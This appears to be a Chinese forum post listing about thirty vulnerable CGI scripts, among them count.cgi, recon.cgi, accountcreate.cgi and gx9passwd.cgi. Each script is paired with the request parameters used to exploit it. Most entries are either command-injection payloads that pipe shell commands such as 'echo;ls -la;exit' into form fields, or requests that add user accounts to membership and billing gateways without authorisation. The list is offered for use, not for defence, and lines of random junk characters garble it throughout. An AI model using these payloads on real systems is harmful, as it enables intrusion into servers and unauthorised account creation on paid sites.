Cgi-bin 30个漏洞＋使用方法

admin

==============================
. b, Q7 q% U" u* ]
+ G( v5 n3 I# n$ [/smspass.pl
username=username&password=password
! y8 v" v- }# n; |/ G' s( A4 E
/index.cgi
* u' ~* d7 o0 a/ Nwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

2 V9 ^( y1 t2 f6 c# {  N/accountcreate.cgi
" j1 o- u% p2 Kusername=username&password=password&ref1=|echo;ls|
8 u# t7 f- d/ L3 o
2 C: `& S% o, d; t- R/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

* I' `+ ]' T5 H/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
! M; u, h( B6 C. z" A+ @
/ccbill-local.asp
post_values=username:password
+ T. c9 i3 {8 t, x; ]! R
) P' E; s3 z# q2 r/count.cgi
pinfile=|echo;ls -la;exit|

% ^" ^1 k' ^. @8 l" u0 C9 H/recon.cgi
( J5 X# Z# d7 J- u+ g* m4 @/recon.cgi?search
- Z. w. k4 ~+ f5 fsearchoption=1&searchfor=|echo;ls -al;exit|
( \5 a' _/ @' P, s
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
, N3 {# r6 [6 `3 l% m& l
. G2 k( `, ?: T. P6 Z6 O/af.cgi
/ W4 [8 O7 h9 B/ x0 O2 a* z8 K_browser_out=|echo;ls -la;exit;|
5 c, j; G8 z) d5 R7 G) {' F3 O
9 H0 \" k1 V: q, O* V/modify.cgi
username=username&password=password&expire=30

. @' D5 f9 a, S, [/ n. D% |/openjournal.cgi
, {; @' z* N+ n# Aedit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password
8 [) o/ [: ^0 D# Y
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
* Y% `1 r# X7 U% Q7 c# [1 e& V8 y
/htadd.pl
- e9 H& Y$ A, lconfigfile=|echo; ls -alt; exit

# n. w) B& P/ z/ ^" C0 u/gx9passwd.cgi
cmd=ADD&user=username&pass=password
. M- R; M: c5 f( O
/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password

, N' N: s4 \2 B' f/cpay.cgi
* s# V- a; a5 Y0 Y6 u: q9 I$ {command=add_member&username=username(EMAIL)&password=password(DES)

' {; x' J) M) L$ t/globill_ut.cgi
do=add&username=username&password=password&wpassword=password

: S# ]5 P. g6 ]& `) |/usercontrol.cgi
command=enable&username=USER&password=PASS
) M" Y/ u" {! J6 F4 J7 w
2 Z+ ^/ O1 r  l* M; e  l/globoSALErum.cgi
! Y2 ?. X9 L# a6 B  A5 e  h8 paction=ADD&seccode=seccode&login=username&password=password
, A1 |: p8 V$ [) ~7 v6 G
/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
5 q& L& }& y; S3 y: R& s
+ u# ]; Q0 d* J  H& r# B/ _/af.cgi
, c' v! K& g) w9 ~; H/env.cgi
- w) d6 m1 x+ s! ?) dADD+;echo;pwd;exit
8 A5 [  b5 t$ o/ ~
/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
7 V6 @+ ~3 T$ m0 x& }& n8 y. Ksearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

. u$ f: z' L0 X0 [==============================